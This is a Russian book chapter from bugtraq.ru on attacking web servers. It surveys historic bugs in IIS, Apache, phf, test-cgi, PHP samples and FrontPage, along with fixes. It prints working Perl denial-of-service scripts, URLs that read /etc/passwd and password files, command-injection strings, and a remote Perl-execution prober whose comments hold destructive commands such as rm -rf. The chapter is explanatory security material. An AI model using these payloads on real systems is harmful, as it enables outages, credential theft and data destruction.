BugTraq.Ru
Русский BugTraq
https://bugtraq.ru/library/books/attack/chapter10/02.html

Атака через WWW

Атака на Web-сервер

Собственно Web сервер - это программное обеспечение, осуществляющее взаимодействие по HTTP протоколу с браузерами: прием запросов, поиск указанных файлов и передача их содержимого, запуск CGI-приложений и передача клиенту результатов их выполнения.

Безопасность Web сервера представляет собой лишь небольшой компонент общей системы безопасности хоста Internet. Под словами "взлом сервера" чаще всего подразумевается замена или модификация страниц Web сервера - самое зрелищное проявление атаки на сервер, хотя на самом деле может оказаться лишь побочным продуктом захвата управления всем хостом.

В то же время существуют проблемы безопасности, характерные именно для Web серверов. Воспользовавшись ими, взломщик может получить стартовую площадку для дальнейшего проникновения в систему (поэтому по-прежнему остается в силе рекомендация вынести Web сервер, как и все другие службы, требующие внешнего доступа, на отдельную машину, по возможности изолированную от внутренней сети). Именно проблемам безопасности, возникающим в системе после установки Web сервера, и посвящен данный раздел.

Безопасность стандартного серверного ПО

Ошибки в серверах

Ситуация с серверами примерно такая же, как и с браузерами: установив последнюю версию плюс все вышедшие обновления/исправления, можно быть более-менее уверенным в отсутствии явных ошибок. Однако расслабляться не нужно - сообщения об обнаруживаемых новых ошибках продолжают поступать с удручающей периодичностью. Кроме того, если пользователь клиентского ПО еще может утешать себя мыслью, что на него просто не обратят внимания (шанс целенаправленной атаки против клиента действительно невелик), то создателю Web ресурса рассчитывать на снисходительность взломщиков не приходится.

Выделим основные классы ошибок в собственно серверах:

  1. Ошибки, приводящие к утрате конфиденциальности. Наиболее распространены в последнее время, дают возможность получить неавторизованный доступ к информации: обойти систему аутентификации, просмотреть исходный код критичных приложений и т.д.
  2. Ошибки, приводящие к атакам типа "отказ в обслуживании" (DoS). Носят исключительно деструктивный характер, приводят сервер в состояние, когда он неспособен выполнять свои штатные функции, будучи занят обработкой ложных запросов.
  3. Ошибки, приводящие к выполнению на сервере неавторизованного кода. Позволяют запускать на выполнение программы, уже существующие на сервере, но не предназначенные для общего доступа, а также передавать на сервер свой исполняемый код. Последнее характерно для ошибок, связанных с переполнением буфера.

Перечисленные ниже ошибки, как правило, уже давно исправлены и широко известны, но кто знает - вдруг именно вам не повезет (или повезет).

Старая ошибка в Microsoft Internet Information Server (IIS) и ASP - при добавлении точки к адресу некоего asp файла мы вместо результата его работы получаем его исходный текст. Ошибка устранялась правильным администрированием - отключением права на чтение в каталоге, где размещены скрипты. Вышедшее исправление этой ошибки привело к появлению новой - использование в имени скрипта вместо символа "." его шестнадцатеричного представления (%2e) давало такой же результат (http://www.victim.com/scripts/script%2easp).

Аналогичная ошибка существует в MS Personal Web Server, а летом 98-го года были обнаружены сходные ошибки в серверах Netscape Enterprise и O'Reilly&Associates' WebSite Professional - просмотреть содержимое скриптов можно было, добавив к URL %20 (шестнадцатеричное представление пробела). Синхронно обнаружены "дырки" в IIS всех версий, приводящие к тому же результату при добавлении к URL конструкции "::$DATA" (http://www.victim.com/scripts/script.asp::$DATA) и использующие возможность альтернативного обращения к содержимому файла для файловой системы NTFS через так называемые потоки данных (data streams).

При установке IIS на контроллер домена пользователь IUSR_hostname, находящийся обычно в группе Guests, мог попасть в группу Domain Users. Таким образом, пользователь Anonymous (посетитель Web- или ftp-сервера) получал права пользователей домена со всеми вытекающими последствиями.

CERN httpd сервер - использование дополнительных "/" позволяло обходить ограничения доступа к каталогу (http://www.victim.com//secret/index.html). В предыдущей главе уже упоминалась ошибка, с помощью которой злоумышленник мог выйти за пределы пространства, отведенного под WWW, указав URL вида http://www.victim.com/.../. Это наблюдалось под Personal Web Server.

Любопытная ошибка, связанная с длинными именами файлов. Файл, имя которого не укладывается в рамки 8 + 3, в Windows NT/95 может быть доступен как по длинному, так и по короткому имени: к verylongname.html можно обратиться и как к verylo~1.htm. Многие Web серверы позволяли получить доступ через короткое имя к файлу с длинным именем, доступ к которому был закрыт.

Старые версии Apache включали не слишком эффективный код (порядка n2), удаляющий дублирующие символы "/", что делало возможным атаковать сервер множественными запросами с большим количеством этих символов.

Поскольку многие серверы не устанавливают ограничение на количество передаваемых в заголовке клиентского запроса полей, существует возможность атаковать сервер такими запросами, что во многих случаях приводит если не к зависанию, то к сильному замедлению работы сервера. Атаки этого вида получили название Sioux Attack (первая программа, демонстрирующая эту атаку, посылала 10 000 заголовков "User-Agent: sioux\r\n"). Вот пример скрипта на perl, реализующего эту атаку путем формирования потока фиктивных заголовков размером 8 Кб каждый:

#!/usr/bin/perl  w
use Socket;

# Usage : $0 host [port [max] ]
$max = 0;
if ($ARGV[2])
{
    $max= $ARGV[2];
}

$proto = getprotobyname('tcp');
socket(Socket_Handle, PF_INET, SOCK_STREAM, $proto);
$port = 80;
if ($ARGV[1])
{
    $port= $ARGV[1];
}
$host = $ARGV[0];
$sin = sockaddr_in($port,inet_aton($host));

connect(Socket_Handle,$sin);
send Socket_Handle,"GET / HTTP/1.0\n",0;
$val= ('z'x8192)."\n";
$n= 1;
$|= 1;
while (Socket_Handle)
{
    send Socket_Handle,"Stupidheader$n: ",0;
    send Socket_Handle,$val,0;
    $n++;
    if (!($n % 100))
    {
        print "$n\n";
    }
    if ($max && ($n > $max))
    {
        last;
    }
}
print "Done: $n\n";
send Socket_Handle,"\n",0;

while (<Socket_Handle>)
{
    print $_;
}

В последних версиях Apache для борьбы с подобными атаками появилась директива LimitRequestFields, позволяющая ограничить количество заголовков в обрабатываемом http-запросе.

IIS 3.0 был подвержен другой DoS-атаке, связанной с получением запроса вида http://www.victim.com/path?name=XXXX...

Если пара имя/значение имеет определенную длину (свою для каждого сервера, однако колеблется около 8К), в процессе inetinfo.exe возникает нарушение доступа, приводящее к прекращению работы сервиса www. Причем совершенно необязательно, чтобы на сервере существовал документ или скрипт path - до вызова документа дело просто не доходит. Подбирать нужную длину запроса можно вручную или с помощью, к примеру, такой программы:

#!/usr/bin/perl -w
use Socket;
$proto = getprotobyname('tcp');
$port = 80;
$host = "www.victim.com";
$sin = sockaddr_in($port,inet_aton($host));
for ($i = 8000; $i<9000; $i++)
{
    print "\nTrying $i symbols: \n";
    $value = 'z'x$i;
    socket(Socket_Handle, PF_INET, SOCK_STREAM, $proto);
    if(!connect(Socket_Handle,$sin))
    {
        $n = $i+4;
        print "\n\nLooks like we got it: $n symbols";
        exit;
    }
    send Socket_Handle,"GET /path?name=$value HTTP/1.0\n",0;
    send Socket_Handle,"User-Agent: my agent\n",0;
    send Socket_Handle,"\n",0;
    while (<Socket_Handle>)
    {
        print $_;
    }
}

Проверяя эту уязвимость, мы выяснили, что проблема проявилась во время отправки запроса длиной 8 181 байт. При этом Dr. Watson вывел следующее сообщение об ошибке в программе INETINFO.EXE: "Access violation, address 0x77A07614". В результате более подробного рассмотрения дампа ошибки выяснилось, что по этому адресу в программе идет код CMPSB (сравнение строк), использующий ESI и EDI как базовые указатели. Очевидно, они вышли за пределы разрешенной области, что и спровоцировало ошибку. Следовательно, подтверждается вывод: такая уязвимость не приведет к исполнению "троянского" кода (как обычно это бывает при переполнении буфера), а приведет только к остановке сервиса WWW.

При проверке этой уязвимости выяснилось, что наличие CGI-запроса также необязательно. Был подобран запрос вида http://www.victim.com/././././././././././... длиной 8 206 байт, вызывавший в точности такую же картину. Любопытно, что запросы больше или меньше на 2 байта ни к каким сообщениям INETINFO не приводили.

Очень старая ошибка в MS IIS - зная путь до .cmd- или .bat-файла на сервере, можно добиться выполнения своих команд, передав их следующим образом:

http://www.victim.com/scripts/script.bat?&COMMAND1+?&COMMAND2+?&...+?&COMMANDN.

Все в том же IIS адрес вида http://www.victim.com/..\... позволял просматривать файлы вне корневого каталога Web сервера, выполнять скрипты и т. д. Правда, это не работало в случае ограничения доступа к этим файлам пользователю IUSR_hostname.

Ошибки во вспомогательных программах

В комплекте с серверами обычно поставляются всевозможные вспомогательные утилиты, примеры CGI-скриптов и т. д. При обновлении серверных программ вполне может возникнуть ситуация, когда вместе с новыми утилитами и примерами продолжают трудиться и старые, со всеми испытанными ошибками.

Классический и, наверное, известный всем, но до сих пор встречающийся образец - скрипт phf. Это вовсе не специально оставленный "черный вход", как можно подумать, глядя на результаты его использования, а всего лишь пример скрипта ведения телефонной книги, распространявшийся со старыми версиями Apache и некоторыми другими серверами. Для желающих проверить на прочность современные серверы - в конфигурационных файлах, приходящих с последними версиями Apache, достаточно раскомментировать четыре строчки, чтобы все попытки обращения к phf перенаправлялись на сервер http://phf.apache.org/phf_abuse_log.cgi.. Впрочем, многие администраторы лишком ленивы, чтобы выполнить это.

Проблема в следующем: встретив в командной строке символ перевода строки (0x0a), он ведет себя иначе: строка http://www.victim.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone= приведет к выполнению на сервере команды cp /etc/passwd ~someuser/passwd, а http://www.victim.com/cgi-bin/phf?Qalias=%0A/bin/cat%20/etc/passwd - к выполнению команды /bin/cat /etc/passwd.

Аналогичная проблема с 0x0a существует у скрипта campus.cgi, распространяемого с NCSA server, а также у некоторых других. Все эти ошибки, связанные с переводом строки, были вызваны тем, что пример кода на C (cgi_src/util.c), распространявшийся долгое время с NCSA httpd в качестве примера, как надо писать безопасные скрипты CGI, не содержал символа перевода строки в списке символов, запрещенных для передачи оболочке операционной системы. В итоге страдали все скрипты, использующие эту библиотеку.

Со скриптами test, или test-cgi, включаемыми некоторыми серверами для проверки правильности передачи серверу переменных окружения, связана другая ошибка. Вот примерное содержимое этого скрипта :

#!/bin/sh
echo SERVER_SOFTWARE = $SERVER_SOFTWARE
echo SERVER_NAME = $SERVER_NAME
echo GATEWAY_INTERFACE = $GATEWAY_INTERFACE
echo SERVER_PROTOCOL = $SERVER_PROTOCOL
echo SERVER_PORT = $SERVER_PORT
echo REQUEST_METHOD = $REQUEST_METHOD
echo HTTP_ACCEPT = "$HTTP_ACCEPT"
echo PATH_INFO = "$PATH_INFO"
echo PATH_TRANSLATED = "$PATH_TRANSLATED"
echo SCRIPT_NAME = "$SCRIPT_NAME"
echo QUERY_STRING = $QUERY_STRING
echo REMOTE_HOST = $REMOTE_HOST
echo REMOTE_ADDR = $REMOTE_ADDR
echo REMOTE_USER = $REMOTE_USER
echo AUTH_TYPE = $AUTH_TYPE
echo CONTENT_TYPE = $CONTENT_TYPE
echo CONTENT_LENGTH = $CONTENT_LENGTH

Передача "*" серверу в качестве QUERY_STRING приводит к выдаче списка содержимого каталога cgi-bin (модификация - передача "/" или любого другого пути). После исправления ошибки (заключающейся в установке кавычек вокруг $QUERY_STRING) настала очередь SERVER_PROTOCOL. В обычной ситуации она принимает значение вида "HTTP/1.0", но, как выяснилось, Apache прекрасно проглатывал любое другое значение, что позволило передавать злосчастную звездочку в этой переменной окружения.

Ошибки в файлах-примерах для PHP (PHP - скриптовый язык, выполняемый на серверной стороне, нечто аналогичное Microsoft ASP): mlog.html и mylog.html включают строчку <?include "$screen">.

Поскольку здесь отсутствует какая бы то ни было фильтрация, никто не мешает передать этому скрипту полный путь до любого файла: http://www.victim.com/logs/mlog.html?screen=/etc/passwd.

Огромное количество ошибок связано с расширениями FrontPage (FPE). FrontPage - это не только WYSIWYG редактор html кода, относиться к которому можно по разному, но и мощное средство администрирования Web сайта. Чтобы воспользоваться всеми возможностями FrontPage, на сервер должны быть установлены дополнительные средства, так называемые расширения FrontPage, которые разработаны для различных платформ и серверов. Тут то нас и подстерегают некоторые неожиданности.

Начнем с того, что при установке FrontPage 1.1 пользователь IUSR_hostname получал право доступа Full Control к каталогу _vti_bin и файлу shtml.exe, а взломщик, подобрав пароль этого пользователя, получал доступ к каталогу с исполняемыми файлами.

Чуть позже выяснилось, что пароли для сайта можно спокойно взять из файлов http://www.victim.com/_vti_pvt/administrators.pwd, http://www.victim.com/_vti_pvt/authors.pwd и http://www.victim.com/_vti_pvt/service.pwd (по умолчанию доступ к этим файлам открыт для всех желающих).

Дальше - больше. При установке FPE на Apache его настройки корректируются таким образом, что любой файл, размещенный в подкаталогах с именем _vti_bin, может быть выполненным. Очень удобно для запуска cgi-скриптов на серверах, не дающих такой возможности.

Вообще, стандартные имена конфигурационных файлов предоставляют широкие возможности по поиску серверов с установленными FPE - достаточно послать запрос на поиск, к примеру, _vti_inf.html.

Ошибки администрирования

Любая система может оказаться совершенно незащищенной из за незначительной на первый взгляд ошибки в администрировании. Так, Apache включает директиву UserDir, определяющую подкаталог в пользовательском каталоге, из которого берутся html файлы при обращении вида /~user. Установив директиву в /usr/*/public_html, мы получим трансляцию адреса вида http://www.victim.com/~user/dir/file.html в путь /usr/user/public_html/dir/file.html. По умолчанию этой директиве присвоено значение public_html. Некоторые серверы, не найдя соответствующий каталог, переадресуют нас в домашний каталог пользователя user. Далее мы можем пробовать обращения типа http://www.victim.com/~root/etc/passwd, http://www.victim.com/~uucp/etc/passwd и т. д. Аналогичный эффект получится если установить UserDir в "./". Поэтому в версиях Apache 1.3 и выше рекомендуется использовать директиву UserDir disabled root.

К ошибкам конфигурирования относятся и упомянутые в предыдущем разделе ошибки FrontPage, в то же время правильное администрирование может минимизировать вред от многочисленных ошибок IIS.

Совершенно изумительных результатов можно добиться, поместив perl.exe в каталог cgi-bin любого сервера на PC платформе (или любой другой каталог, из которого разрешен запуск CGI-скриптов). Определить такой сервер можно по использованию на нем адресов вида http://www.victim.com/cgi-bin/perl.exe?script.pl. Одно время такая практика была очень распространена (это рекомендовалось компанией Netscape для выполнения perl скриптов на ее сервере, не поддерживающем механизма ассоциации файловых расширений с исполняемыми приложениями), но понемногу сошла на нет, что было связано с распространением скриптов (подобных приведенному ниже), позволяющих выполнить на удаленной машине любой perl-код.

#!/usr/bin/perl  w
#
#####################################################################
# latrodectus cyberneticus   probe web for insecure perl installations
# tchrist@perl.com
# version 1.0, Thu Mar 28 17:53:42 MST 1996
#
# requires the LWP library, fetchable from the CPAN multiplexor at
# http://www.perl.com/cgi-bin/cpan_mod?module=LWP
#####################################################################
#AUTHOR: Tom Christiansen <tchrist@perl.com>
#Last update: Thu Mar 28 17:53:42 MST 1996

require 5.002;
use strict;
use LWP::UserAgent;

my $PROGNAME = "latrodectus cyberneticus";
my $VERSION = "1.0";
my $DEF_CGI_BIN = "/cgi-bin";

# имя интерпретатора perl на удаленной машине,
# стоит попробовать и perl.exe, и perl.com
my $DEF_PERL_PATH = "/perl.exe";

# Заносим в переменную $PROGRAM текст, начинающийся 
# после слов __END__, - нашу программу, которая будет
# выполняться на удаленном сервере
my $PROGRAM = join qq===><DATA>;

$| = 1;

if (@ARGV) 
{
    for (@ARGV) { probe($_) }
} 
elsif (! -t STDIN) 
{
    while (<STDIN>) 
    {
        chomp;
        probe($_);
    } 
} 
else 
{
    die "usage: $0 [site ...]\n";
} 

sub probe 
{
    my $site = shift;

    my $cgi_bin = '';
    my $perl_path = '';
    my $pre_site = '';

    if ($site !~ m#/#) 
    {
        $cgi_bin = $DEF_CGI_BIN;
    } 
    if ($site !~ /perl/) 
    {
        $perl_path = $DEF_PERL_PATH;
    } 
    if ($site !~ m#^//#) 
    {
        $pre_site = '//';
    } 

    my $ua = LWP::UserAgent->new();
    $ua ->agent("$PROGNAME, v$VERSION");

    # Формируем полный url интерпретатора
    my $full_targ = 'http:' . $pre_site . $site . $cgi_bin . $perl_path;

    printf "%-35s ", $site;

    # Открываем соединение
    my $req = HTTP::Request->new( POST => $full_targ );

    # Посылаем нашу программу
    $req->content_type('application/x-www-form-urlencoded');
    $req->content($PROGRAM);

    #Получаем ответ
    my $res = $ua->request($req);

    # проверяем, выполнилась ли наша программа
    if ($res->is_success) 
    { 
        if ($res->content =~ /WWW Black Widow/) 
        {
            print "<<<< COMPROMISED >>>>\n";
        } 
        else 
        {
            my $oops = $res->content;
            $oops =~ s/\n/ /g;
            print "APPREHENDED: $oops\n";
        } 
    }
    else 
    {
        my $oops = $res >code . " " . $res->message;
        if ($res->code == 404) 
        {
            print "SAFE: $oops";
        }
        else
        {
            print "ERROR: $oops";
        } 
        print "\n" unless $oops =~ /\n$/;
    }
} 

__END__

# Здесь начинается код, который будет выполнен на удаленной
# машине. Сначала выводится некий текст для проверки
# работы скрипта

print <<EOF;
Content Type: text/plain

The WWW Black Widow was here.
EOF

# Ну а здесь уже можно написать что угодно - от простого
# сообщения администратору о найденной дырке, до чего нибудь
# типа
# system("rm -rf * /*");
# system("format a:");
# system("ls -lR");
# system("dir");
# unlink <* *.* /*>;

print "If I were nasty, you'd be spiderfood by now.\n";

print "\n\n\t--the black widow\n";

__END__

Если под рукой нет Perl, можно попробовать просто дать команду типа http://www.victim.com/cgi-bin/perl.exe?& e+unlink+%3C*%3E.

Аналогичные проблемы возникают при реализации PHP в качестве cgi-скрипта и его размещении в каталоге cgi-bin.

[36020]

  Copyright © 2001-2018 Dmitry Leonov Design: Vadim Derkach